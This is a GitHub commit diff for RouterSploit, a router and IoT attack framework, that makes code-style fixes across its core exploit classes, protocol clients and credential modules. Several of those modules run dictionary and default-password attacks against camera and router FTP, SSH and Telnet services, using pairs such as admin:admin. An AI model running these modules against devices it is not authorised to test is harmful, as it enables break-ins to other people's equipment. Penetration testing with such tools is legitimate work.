Unverified Commit 62b83fb4 by Marcin Bury Committed by GitHub

Improving code quality (#435)

parent 2ee21d01
...@@ -5,3 +5,10 @@ from .btle_scanner import ( ...@@ -5,3 +5,10 @@ from .btle_scanner import (
BTLEScanner, BTLEScanner,
ScanDelegate ScanDelegate
) )
__all__ = [
"Device",
"BTLEScanner",
"ScanDelegate",
]
...@@ -120,7 +120,7 @@ class Device(ScanEntry): ...@@ -120,7 +120,7 @@ class Device(ScanEntry):
for _, c in enumerate(service.getCharacteristics()): for _, c in enumerate(service.getCharacteristics()):
if str(c.uuid) == characteristic: if str(c.uuid) == characteristic:
char =c char = c
break break
if char: if char:
...@@ -221,7 +221,7 @@ class Device(ScanEntry): ...@@ -221,7 +221,7 @@ class Device(ScanEntry):
try: try:
string = color_blue(repr(data.decode("utf-8"))) string = color_blue(repr(data.decode("utf-8")))
except Exception: except Exception:
stirng = repr(data) string = repr(data)
except Exception: except Exception:
pass pass
......
...@@ -13,7 +13,7 @@ class BTLEScanner(Scanner): ...@@ -13,7 +13,7 @@ class BTLEScanner(Scanner):
def _decode_address(self, resp): def _decode_address(self, resp):
addr = binascii.b2a_hex(resp["addr"][0]).decode("utf-8") addr = binascii.b2a_hex(resp["addr"][0]).decode("utf-8")
return ":".join([addr[i : i + 2] for i in range(0, 12, 2)]) return ":".join([addr[i: i + 2] for i in range(0, 12, 2)])
def _find_or_create(self, addr): def _find_or_create(self, addr):
if addr in self.scanned: if addr in self.scanned:
...@@ -59,6 +59,7 @@ class BTLEScanner(Scanner): ...@@ -59,6 +59,7 @@ class BTLEScanner(Scanner):
if self.mac and dev.addr == self.mac: if self.mac and dev.addr == self.mac:
break break
class ScanDelegate(DefaultDelegate): class ScanDelegate(DefaultDelegate):
def __init__(self, options): def __init__(self, options):
DefaultDelegate.__init__(self) DefaultDelegate.__init__(self)
......
...@@ -24,5 +24,28 @@ from routersploit.core.exploit.printer import ( ...@@ -24,5 +24,28 @@ from routersploit.core.exploit.printer import (
print_table, print_table,
) )
import routersploit.core.exploit.utils from routersploit.core.exploit import utils
from routersploit.core.exploit.shell import shell from routersploit.core.exploit.shell import shell
__all__ = [
"Exploit",
"multi",
"mute",
"LockedIterator",
"OptIP",
"OptPort",
"OptInteger",
"OptFloat",
"OptBool",
"OptString",
"OptMAC",
"OptWordlist",
"print_info",
"print_status",
"print_success",
"print_error",
"print_table",
"utils",
"shell",
]
import os import os
import threading import threading
import time import time
import concurrent.futures
from future.utils import with_metaclass, iteritems from future.utils import with_metaclass, iteritems
from itertools import chain from itertools import chain
from functools import wraps from functools import wraps
from routersploit.core.exploit.printer import ( from routersploit.core.exploit.printer import (
print_status, print_status,
print_error,
thread_output_stream, thread_output_stream,
) )
from routersploit.core.exploit.option import Option from routersploit.core.exploit.option import Option
...@@ -66,7 +64,6 @@ class Exploit(BaseExploit): ...@@ -66,7 +64,6 @@ class Exploit(BaseExploit):
target_protocol = "custom" target_protocol = "custom"
def run(self): def run(self):
raise NotImplementedError("You have to define your own 'run' method.") raise NotImplementedError("You have to define your own 'run' method.")
...@@ -131,7 +128,7 @@ def multi(fn): ...@@ -131,7 +128,7 @@ def multi(fn):
for target in file_handler: for target in file_handler:
target = target.strip() target = target.strip()
if not target: if not target:
continue continue
self.target, _, port = target.partition(":") self.target, _, port = target.partition(":")
if port: if port:
...@@ -204,5 +201,3 @@ class Protocol: ...@@ -204,5 +201,3 @@ class Protocol:
HTTP = "http" HTTP = "http"
HTTPS = "https" HTTPS = "https"
SNMP = "snmp" SNMP = "snmp"
...@@ -21,7 +21,7 @@ class Option(object): ...@@ -21,7 +21,7 @@ class Option(object):
def __get__(self, instance, owner): def __get__(self, instance, owner):
return self.value return self.value
def __set__(self, instance, value): def __set__(self, instance, value):
if self._apply_widget(value): if self._apply_widget(value):
self.display_value = value self.display_value = value
...@@ -57,7 +57,7 @@ class OptPort(Option): ...@@ -57,7 +57,7 @@ class OptPort(Option):
def __get__(self, instance, owner): def __get__(self, instance, owner):
return int(self.value) return int(self.value)
class OptBool(Option): class OptBool(Option):
""" Option Bool attribute """ """ Option Bool attribute """
......
...@@ -16,7 +16,7 @@ WORDLISTS_DIR = wordlists.__path__[0] ...@@ -16,7 +16,7 @@ WORDLISTS_DIR = wordlists.__path__[0]
def random_text(length, alph=string.ascii_letters + string.digits): def random_text(length, alph=string.ascii_letters + string.digits):
return ''.join(random.choice(alph) for _ in range(length)) return ''.join(random.choice(alph) for _ in range(length))
def is_ipv4(address): def is_ipv4(address):
...@@ -58,7 +58,7 @@ def convert_port(port): ...@@ -58,7 +58,7 @@ def convert_port(port):
def index_modules(modules_directory=MODULES_DIR): def index_modules(modules_directory=MODULES_DIR):
""" Returns list of all exploits modules """ """ Returns list of all exploits modules """
modules = [] modules = []
for root, dirs, files in os.walk(modules_directory): for root, dirs, files in os.walk(modules_directory):
_, package, root = root.rpartition("routersploit/modules/".replace("/", os.sep)) _, package, root = root.rpartition("routersploit/modules/".replace("/", os.sep))
...@@ -180,7 +180,7 @@ def lookup_vendor(addr): ...@@ -180,7 +180,7 @@ def lookup_vendor(addr):
if line == "" or line[0] == "#": if line == "" or line[0] == "#":
continue continue
mac, name = line.split(" ", 1) mac, name = line.split(" ", 1)
if addr.startswith(mac): if addr.startswith(mac):
return name return name
...@@ -249,7 +249,7 @@ class Version(object): ...@@ -249,7 +249,7 @@ class Version(object):
i += 1 i += 1
return 0 return 0
def detect_file_content(content, f="/etc/passwd"): def detect_file_content(content, f="/etc/passwd"):
......
...@@ -55,7 +55,7 @@ class FTPClient(Exploit): ...@@ -55,7 +55,7 @@ class FTPClient(Exploit):
ftp_client.close() ftp_client.close()
return None return None
def ftp_test_connect(self): def ftp_test_connect(self):
ftp_client = self.ftp_connect() ftp_client = self.ftp_connect()
if ftp_client: if ftp_client:
......
...@@ -21,7 +21,6 @@ class HTTPClient(Exploit): ...@@ -21,7 +21,6 @@ class HTTPClient(Exploit):
verbosity = OptBool("true", "Verbosity enabled: true/false") verbosity = OptBool("true", "Verbosity enabled: true/false")
ssl = OptBool("false", "SSL enabled: true/false") ssl = OptBool("false", "SSL enabled: true/false")
def http_request(self, method, path, session=requests, **kwargs): def http_request(self, method, path, session=requests, **kwargs):
if self.ssl: if self.ssl:
url = "https://" url = "https://"
......
...@@ -13,7 +13,7 @@ SNMP_TIMEOUT = 15.0 ...@@ -13,7 +13,7 @@ SNMP_TIMEOUT = 15.0
class SNMPClient(Exploit): class SNMPClient(Exploit):
""" SNMP Client exploit """ """ SNMP Client exploit """
target_protocol = Protocol.SNMP target_protocol = Protocol.SNMP
verbosity = OptBool("true", "Enable verbose output: true/false") verbosity = OptBool("true", "Enable verbose output: true/false")
......
...@@ -4,7 +4,7 @@ import os ...@@ -4,7 +4,7 @@ import os
import select import select
import sys import sys
import threading import threading
import io import io
from routersploit.core.exploit.exploit import Exploit from routersploit.core.exploit.exploit import Exploit
from routersploit.core.exploit.exploit import Protocol from routersploit.core.exploit.exploit import Protocol
...@@ -47,7 +47,7 @@ class SSHClient(Exploit): ...@@ -47,7 +47,7 @@ class SSHClient(Exploit):
return ssh_client return ssh_client
ssh_client.close() ssh_client.close()
return return
def ssh_login_pkey(self, username, priv_key, retries=1): def ssh_login_pkey(self, username, priv_key, retries=1):
...@@ -126,7 +126,7 @@ class SSHClient(Exploit): ...@@ -126,7 +126,7 @@ class SSHClient(Exploit):
self._posix_shell(chan) self._posix_shell(chan)
else: else:
self._windows_shell(chan) self._windows_shell(chan)
def _posix_shell(self, chan): def _posix_shell(self, chan):
import termios import termios
import tty import tty
...@@ -156,7 +156,7 @@ class SSHClient(Exploit): ...@@ -156,7 +156,7 @@ class SSHClient(Exploit):
break break
chan.send(x) chan.send(x)
finally: finally:
termios.tcsetattr(sys.stdin,termios.TCSADRAIN, oldtty) termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
return return
def _windows_shell(self, chan): def _windows_shell(self, chan):
......
...@@ -14,7 +14,7 @@ TCP_SOCKET_TIMEOUT = 8.0 ...@@ -14,7 +14,7 @@ TCP_SOCKET_TIMEOUT = 8.0
class TCPClient(Exploit): class TCPClient(Exploit):
""" TCP Client exploit """ """ TCP Client exploit """
target_protocol = Protocol.TCP target_protocol = Protocol.TCP
def tcp_create(self): def tcp_create(self):
if is_ipv4(self.target): if is_ipv4(self.target):
......
...@@ -13,7 +13,7 @@ TELNET_TIMEOUT = 30.0 ...@@ -13,7 +13,7 @@ TELNET_TIMEOUT = 30.0
class TelnetClient(Exploit): class TelnetClient(Exploit):
""" Telnet Client exploit """ """ Telnet Client exploit """
target_protocol = Protocol.TELNET target_protocol = Protocol.TELNET
verbosity = OptBool("true", "Enable verbose output: true/false") verbosity = OptBool("true", "Enable verbose output: true/false")
...@@ -79,11 +79,11 @@ class TelnetClient(Exploit): ...@@ -79,11 +79,11 @@ class TelnetClient(Exploit):
def telnet_read_until(self, telnet_client, data): def telnet_read_until(self, telnet_client, data):
if telnet_client: if telnet_client:
if type(data) is str: if type(data) is str:
data = bytes(data, "utf-8") data = bytes(data, "utf-8")
response = telnet_client.read_until(data, 5) response = telnet_client.read_until(data, 5)
return str(response, "utf-8") return str(response, "utf-8")
return None return None
def telnet_write(self, telnet_client, data): def telnet_write(self, telnet_client, data):
......
...@@ -13,7 +13,7 @@ UDP_SOCKET_TIMEOUT = 8.0 ...@@ -13,7 +13,7 @@ UDP_SOCKET_TIMEOUT = 8.0
class UDPClient(Exploit): class UDPClient(Exploit):
""" UDP Client exploit """ """ UDP Client exploit """
target_protocol = Protocol.UDP target_protocol = Protocol.UDP
def udp_create(self): def udp_create(self):
if is_ipv4(self.target): if is_ipv4(self.target):
......
...@@ -66,7 +66,7 @@ class BaseInterpreter(object): ...@@ -66,7 +66,7 @@ class BaseInterpreter(object):
atexit.register(readline.write_history_file, self.history_file) atexit.register(readline.write_history_file, self.history_file)
readline.parse_and_bind("set enable-keypad on") readline.parse_and_bind("set enable-keypad on")
readline.set_completer(self.complete) readline.set_completer(self.complete)
readline.set_completer_delims(" \t\n;") readline.set_completer_delims(" \t\n;")
if is_libedit(): if is_libedit():
...@@ -333,7 +333,7 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -333,7 +333,7 @@ class RoutersploitInterpreter(BaseInterpreter):
except KeyboardInterrupt: except KeyboardInterrupt:
print_info() print_info()
print_error("Operation cancelled by user") print_error("Operation cancelled by user")
except: except Exception:
print_error(traceback.format_exc(sys.exc_info())) print_error(traceback.format_exc(sys.exc_info()))
def command_exploit(self, *args, **kwargs): def command_exploit(self, *args, **kwargs):
......
import sys import sys
import time
import binascii import binascii
import hashlib import hashlib
class ApiRosClient(object): class ApiRosClient(object):
"Routeros api" "RouterOS API"
def __init__(self, sk): def __init__(self, sk):
self.sk = sk self.sk = sk
self.currenttag = 0 self.currenttag = 0
def login(self, username, pwd): def login(self, username, pwd):
for repl, attrs in self.talk(["/login"]): for repl, attrs in self.talk(["/login"]):
chal = binascii.unhexlify((attrs['=ret']).encode('UTF-8')) chal = binascii.unhexlify((attrs['=ret']).encode('UTF-8'))
...@@ -17,16 +17,21 @@ class ApiRosClient(object): ...@@ -17,16 +17,21 @@ class ApiRosClient(object):
md.update(b'\x00') md.update(b'\x00')
md.update(pwd.encode('UTF-8')) md.update(pwd.encode('UTF-8'))
md.update(chal) md.update(chal)
output = self.talk(["/login", "=name=" + username, output = self.talk([
"=response=00" + binascii.hexlify(md.digest()).decode('UTF-8') ]) "/login",
"=name=" + username,
"=response=00" + binascii.hexlify(md.digest()).decode('UTF-8')
])
return output return output
def talk(self, words): def talk(self, words):
if self.writeSentence(words) == 0: return if self.writeSentence(words) == 0:
return
r = [] r = []
while 1: while 1:
i = self.readSentence(); i = self.readSentence()
if len(i) == 0: continue if len(i) == 0:
continue
reply = i[0] reply = i[0]
attrs = {} attrs = {}
for w in i[1:]: for w in i[1:]:
...@@ -34,9 +39,10 @@ class ApiRosClient(object): ...@@ -34,9 +39,10 @@ class ApiRosClient(object):
if (j == -1): if (j == -1):
attrs[w] = '' attrs[w] = ''
else: else:
attrs[w[:j]] = w[j+1:] attrs[w[: j]] = w[j + 1:]
r.append((reply, attrs)) r.append((reply, attrs))
if reply == '!done': return r if reply == '!done':
return r
def writeSentence(self, words): def writeSentence(self, words):
ret = 0 ret = 0
...@@ -50,9 +56,10 @@ class ApiRosClient(object): ...@@ -50,9 +56,10 @@ class ApiRosClient(object):
r = [] r = []
while 1: while 1:
w = self.readWord() w = self.readWord()
if w == '': return r if w == '':
return r
r.append(w) r.append(w)
def writeWord(self, w): def writeWord(self, w):
self.writeLen(len(w)) self.writeLen(len(w))
self.writeStr(w) self.writeStr(w)
...@@ -61,83 +68,85 @@ class ApiRosClient(object): ...@@ -61,83 +68,85 @@ class ApiRosClient(object):
ret = self.readStr(self.readLen()) ret = self.readStr(self.readLen())
return ret return ret
def writeLen(self, l): def writeLen(self, length):
if l < 0x80: if length < 0x80:
self.writeByte((l).to_bytes(1, sys.byteorder)) self.writeByte((length).to_bytes(1, sys.byteorder))
elif l < 0x4000: elif length < 0x4000:
l |= 0x8000 length |= 0x8000
tmp = (l >> 8) & 0xFF self.writeByte(((length >> 8) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 8) & 0xFF).to_bytes(1, sys.byteorder)) self.writeByte((length & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte((l & 0xFF).to_bytes(1, sys.byteorder)) elif length < 0x200000:
elif l < 0x200000: length |= 0xC00000
l |= 0xC00000 self.writeByte(((length >> 16) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 16) & 0xFF).to_bytes(1, sys.byteorder)) self.writeByte(((length >> 8) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 8) & 0xFF).to_bytes(1, sys.byteorder)) self.writeByte((length & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte((l & 0xFF).to_bytes(1, sys.byteorder)) elif length < 0x10000000:
elif l < 0x10000000: length |= 0xE0000000
l |= 0xE0000000 self.writeByte(((length >> 24) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 24) & 0xFF).to_bytes(1, sys.byteorder)) self.writeByte(((length >> 16) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 16) & 0xFF).to_bytes(1, sys.byteorder)) self.writeByte(((length >> 8) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 8) & 0xFF).to_bytes(1, sys.byteorder)) self.writeByte((length & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte((l & 0xFF).to_bytes(1, sys.byteorder)) else:
else:
self.writeByte((0xF0).to_bytes(1, sys.byteorder)) self.writeByte((0xF0).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 24) & 0xFF).to_bytes(1, sys.byteorder)) self.writeByte(((length >> 24) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 16) & 0xFF).to_bytes(1, sys.byteorder)) self.writeByte(((length >> 16) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte(((l >> 8) & 0xFF).to_bytes(1, sys.byteorder)) self.writeByte(((length >> 8) & 0xFF).to_bytes(1, sys.byteorder))
self.writeByte((l & 0xFF).to_bytes(1, sys.byteorder)) self.writeByte((length & 0xFF).to_bytes(1, sys.byteorder))
def readLen(self): def readLen(self):
c = ord(self.readStr(1)) c = ord(self.readStr(1))
if (c & 0x80) == 0x00: if (c & 0x80) == 0x00:
pass pass
elif (c & 0xC0) == 0x80: elif (c & 0xC0) == 0x80:
c &= ~0xC0 c &= ~0xC0
c <<= 8 c <<= 8
c += ord(self.readStr(1)) c += ord(self.readStr(1))
elif (c & 0xE0) == 0xC0: elif (c & 0xE0) == 0xC0:
c &= ~0xE0 c &= ~0xE0
c <<= 8 c <<= 8
c += ord(self.readStr(1)) c += ord(self.readStr(1))
c <<= 8 c <<= 8
c += ord(self.readStr(1)) c += ord(self.readStr(1))
elif (c & 0xF0) == 0xE0: elif (c & 0xF0) == 0xE0:
c &= ~0xF0 c &= ~0xF0
c <<= 8 c <<= 8
c += ord(self.readStr(1)) c += ord(self.readStr(1))
c <<= 8 c <<= 8
c += ord(self.readStr(1)) c += ord(self.readStr(1))
c <<= 8 c <<= 8
c += ord(self.readStr(1)) c += ord(self.readStr(1))
elif (c & 0xF8) == 0xF0: elif (c & 0xF8) == 0xF0:
c = ord(self.readStr(1)) c = ord(self.readStr(1))
c <<= 8 c <<= 8
c += ord(self.readStr(1)) c += ord(self.readStr(1))
c <<= 8 c <<= 8
c += ord(self.readStr(1)) c += ord(self.readStr(1))
c <<= 8 c <<= 8
c += ord(self.readStr(1)) c += ord(self.readStr(1))
return c return c
def writeStr(self, str): def writeStr(self, str):
n = 0; n = 0
while n < len(str): while n < len(str):
r = self.sk.send(bytes(str[n:], 'UTF-8')) r = self.sk.send(bytes(str[n:], 'UTF-8'))
if r == 0: raise RuntimeError("connection closed by remote end") if r == 0:
n += r raise RuntimeError("connection closed by remote end")
n += r
def writeByte(self, str): def writeByte(self, str):
n = 0; n = 0
while n < len(str): while n < len(str):
r = self.sk.send(str[n:]) r = self.sk.send(str[n:])
if r == 0: raise RuntimeError("connection closed by remote end") if r == 0:
n += r raise RuntimeError("connection closed by remote end")
n += r
def readStr(self, length): def readStr(self, length):
ret = '' ret = ''
while len(ret) < length: while len(ret) < length:
s = self.sk.recv(length - len(ret)) s = self.sk.recv(length - len(ret))
if s == '': raise RuntimeError("connection closed by remote end") if s == '':
raise RuntimeError("connection closed by remote end")
ret += s.decode('UTF-8', 'replace') ret += s.decode('UTF-8', 'replace')
return ret return ret
...@@ -20,7 +20,6 @@ ...@@ -20,7 +20,6 @@
# #
############################################################## ##############################################################
import sys
import collections import collections
......
...@@ -2,7 +2,7 @@ from routersploit.core.exploit import * ...@@ -2,7 +2,7 @@ from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
__info__ = { __info__ = {
"name": "Basler Camera Default SSH Creds", "name": "Basler Camera Default SSH Creds",
"description": "Module performs dictionary attack against Basler Camera SSH service. " "description": "Module performs dictionary attack against Basler Camera SSH service. "
......
...@@ -6,7 +6,7 @@ class Exploit(SSHDefault): ...@@ -6,7 +6,7 @@ class Exploit(SSHDefault):
__info__ = { __info__ = {
"name": "Canon Camera Default SSH Creds", "name": "Canon Camera Default SSH Creds",
"description": "Module performs dictionary attack against Canon Camera SSH service. " "description": "Module performs dictionary attack against Canon Camera SSH service. "
"If valid credentials are found, they are displayed to the user.", "If valid credentials are found, they are displayed to the user.",
"authors": ( "authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
), ),
......
...@@ -6,7 +6,7 @@ class Exploit(HTTPBasicDigestDefault): ...@@ -6,7 +6,7 @@ class Exploit(HTTPBasicDigestDefault):
__info__ = { __info__ = {
"name": "Canon Camera Default Web Interface Creds - HTTP Auth", "name": "Canon Camera Default Web Interface Creds - HTTP Auth",
"description": "Module performs dictionary attack against Canon Camera Web Interface. " "description": "Module performs dictionary attack against Canon Camera Web Interface. "
"If valid credentials are found, they are displayed to the user.", "If valid credentials are found, they are displayed to the user.",
"authors": ( "authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
), ),
......
...@@ -19,5 +19,3 @@ class Exploit(FTPDefault): ...@@ -19,5 +19,3 @@ class Exploit(FTPDefault):
threads = OptInteger(1, "Number of threads") threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)") defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
...@@ -20,4 +20,3 @@ class Exploit(SSHDefault): ...@@ -20,4 +20,3 @@ class Exploit(SSHDefault):
threads = OptInteger(1, "Number of threads") threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)") defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
...@@ -20,4 +20,3 @@ class Exploit(FTPDefault): ...@@ -20,4 +20,3 @@ class Exploit(FTPDefault):
threads = OptInteger(1, "Number of threads") threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)") defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
...@@ -6,7 +6,7 @@ class Exploit(FTPDefault): ...@@ -6,7 +6,7 @@ class Exploit(FTPDefault):
__info__ = { __info__ = {
"name": "Mobotix Camera Default FTP Creds", "name": "Mobotix Camera Default FTP Creds",
"description": "Module performs dictionary attack against Mobotix Camera FTP service. " "description": "Module performs dictionary attack against Mobotix Camera FTP service. "
"If valid credentials are found, they are displayed to the user.", "If valid credentials are found, they are displayed to the user.",
"authors": ( "authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
), ),
......
...@@ -6,7 +6,7 @@ class Exploit(SSHDefault): ...@@ -6,7 +6,7 @@ class Exploit(SSHDefault):
__info__ = { __info__ = {
"name": "Mobotix Camera Default SSH Creds", "name": "Mobotix Camera Default SSH Creds",
"description": "Module performs dictionary attack against Mobotix Camera SSH service. " "description": "Module performs dictionary attack against Mobotix Camera SSH service. "
"If valid credentials are found, they are displayed to the user.", "If valid credentials are found, they are displayed to the user.",
"authors": ( "authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
), ),
......
...@@ -18,5 +18,5 @@ class Exploit(SSHDefault): ...@@ -18,5 +18,5 @@ class Exploit(SSHDefault):
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)") target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port") port = OptPort(22, "Target SSH port")
threads = OptInteger(1, "Number of threads") threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)") defaults = OptWordlist("admin:admin", "User:Pass or file with default credentials (file://)")
...@@ -18,5 +18,5 @@ class Exploit(SSHDefault): ...@@ -18,5 +18,5 @@ class Exploit(SSHDefault):
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)") target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(22, "Target SSH port") port = OptPort(22, "Target SSH port")
threads = OptInteger(1, "Number of threads") threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:1234", "User:Pass or file with default credentials (file://)") defaults = OptWordlist("admin:1234", "User:Pass or file with default credentials (file://)")
...@@ -6,7 +6,7 @@ class Exploit(FTPDefault): ...@@ -6,7 +6,7 @@ class Exploit(FTPDefault):
__info__ = { __info__ = {
"name": "Vacron Camera Default FTP Creds", "name": "Vacron Camera Default FTP Creds",
"description": "Module performs dictionary attack against Vacron Camera FTP service. " "description": "Module performs dictionary attack against Vacron Camera FTP service. "
"If valid credentials are found, they are displayed to the user.", "If valid credentials are found, they are displayed to the user.",
"authors": ( "authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
), ),
......
...@@ -20,4 +20,3 @@ class Exploit(FTPDefault): ...@@ -20,4 +20,3 @@ class Exploit(FTPDefault):
threads = OptInteger(1, "Number of threads") threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("supervisor:supervisor", "User:Pass or file with default credentials (file://)") defaults = OptWordlist("supervisor:supervisor", "User:Pass or file with default credentials (file://)")
...@@ -20,4 +20,3 @@ class Exploit(SSHDefault): ...@@ -20,4 +20,3 @@ class Exploit(SSHDefault):
threads = OptInteger(1, "Number of threads") threads = OptInteger(1, "Number of threads")
default = OptWordlist("supervistor:supervisor", "User:Pass or file with default credentials (file://)") default = OptWordlist("supervistor:supervisor", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.ftp.ftp_client import FTPClient from routersploit.core.ftp.ftp_client import FTPClient
from routersploit.resources import wordlists from routersploit.resources import wordlists
class Exploit(FTPClient): class Exploit(FTPClient):
...@@ -37,7 +37,7 @@ class Exploit(FTPClient): ...@@ -37,7 +37,7 @@ class Exploit(FTPClient):
print_status("Starting attack against FTP service") print_status("Starting attack against FTP service")
data = LockedIterator(self.defaults) data = LockedIterator(self.defaults)
self.run_threads(self.threads, self.target_function, data) self.run_threads(self.threads, self.target_function, data)
if self.credentials: if self.credentials:
print_success("Credentials found!") print_success("Credentials found!")
...@@ -49,7 +49,7 @@ class Exploit(FTPClient): ...@@ -49,7 +49,7 @@ class Exploit(FTPClient):
def target_function(self, running, data): def target_function(self, running, data):
while running.is_set(): while running.is_set():
try: try:
username, password = data.next().split(":") username, password = data.next().split(":")
except StopIteration: except StopIteration:
break break
else: else:
......
import itertools import itertools
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient from routersploit.core.http.http_client import HTTPClient
from routersploit.resources import wordlists from routersploit.resources import wordlists
from requests.auth import HTTPDigestAuth from requests.auth import HTTPDigestAuth
......
...@@ -57,7 +57,7 @@ class Exploit(HTTPClient): ...@@ -57,7 +57,7 @@ class Exploit(HTTPClient):
while running.is_set(): while running.is_set():
try: try:
username, password = data.next().split(":") username, password = data.next().split(":")
if self.auth_type == "digest": if self.auth_type == "digest":
auth = HTTPDigestAuth(username, password) auth = HTTPDigestAuth(username, password)
else: else:
......
...@@ -58,7 +58,7 @@ class Exploit(SNMPClient): ...@@ -58,7 +58,7 @@ class Exploit(SNMPClient):
except StopIteration: except StopIteration:
break break
def check(self): def check(self):
raise NotImplementedError("Check method is not available") raise NotImplementedError("Check method is not available")
......
...@@ -48,7 +48,7 @@ class Exploit(SSHClient): ...@@ -48,7 +48,7 @@ class Exploit(SSHClient):
print_error("Credentials not found") print_error("Credentials not found")
def target_function(self, running, data): def target_function(self, running, data):
while running.is_set(): while running.is_set():
try: try:
username, password = data.next().split(":") username, password = data.next().split(":")
ssh = self.ssh_login(username, password) ssh = self.ssh_login(username, password)
......
...@@ -37,7 +37,7 @@ class Exploit(TelnetClient): ...@@ -37,7 +37,7 @@ class Exploit(TelnetClient):
if not self.check(): if not self.check():
return return
print_status("Starting bruteforce attack against Telnet service") print_status("Starting bruteforce attack against Telnet service")
data = LockedIterator(itertools.product(self.usernames, self.passwords)) data = LockedIterator(itertools.product(self.usernames, self.passwords))
self.run_threads(self.threads, self.target_function, data) self.run_threads(self.threads, self.target_function, data)
......
...@@ -35,7 +35,7 @@ class Exploit(TelnetClient): ...@@ -35,7 +35,7 @@ class Exploit(TelnetClient):
if not self.check(): if not self.check():
return return
print_status("Starting default credentials attack against Telnet service") print_status("Starting default credentials attack against Telnet service")
data = LockedIterator(self.defaults) data = LockedIterator(self.defaults)
self.run_threads(self.threads, self.target_function, data) self.run_threads(self.threads, self.target_function, data)
......
...@@ -20,4 +20,3 @@ class Exploit(TelnetDefault): ...@@ -20,4 +20,3 @@ class Exploit(TelnetDefault):
threads = OptInteger(1, "Number of threads") threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin,support:support,user:user", "User:Pass or file with default credentials (file://)") defaults = OptWordlist("admin:admin,support:support,user:user", "User:Pass or file with default credentials (file://)")
...@@ -20,4 +20,3 @@ class Exploit(FTPDefault): ...@@ -20,4 +20,3 @@ class Exploit(FTPDefault):
threads = OptInteger(1, "Number of threads") threads = OptInteger(1, "Number of threads")
defaults = OptWordlist("admin:admin,admin:password", "User:Pass or file with default credentials (file://)") defaults = OptWordlist("admin:admin,admin:password", "User:Pass or file with default credentials (file://)")
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault from routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault
class Exploit(TelnetDefault): class Exploit(TelnetDefault):
...@@ -15,7 +15,6 @@ class Exploit(TelnetDefault): ...@@ -15,7 +15,6 @@ class Exploit(TelnetDefault):
), ),
} }
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)") target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
port = OptPort(23, "Target Telnet port") port = OptPort(23, "Target Telnet port")
......
from routersploit.core.exploit import * from routersploit.core.exploit import *
from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault from routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault
class Exploit(SSHDefault): class Exploit(SSHDefault):
......
...@@ -7,7 +7,7 @@ class Exploit(TCPClient): ...@@ -7,7 +7,7 @@ class Exploit(TCPClient):
__info__ = { __info__ = {
"name": "Mikrotik Default Creds - API ROS", "name": "Mikrotik Default Creds - API ROS",
"description": "", "description": "",
"authors": ( "authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module "Marcin Bury <marcin[at]threat9.com>", # routersploit module
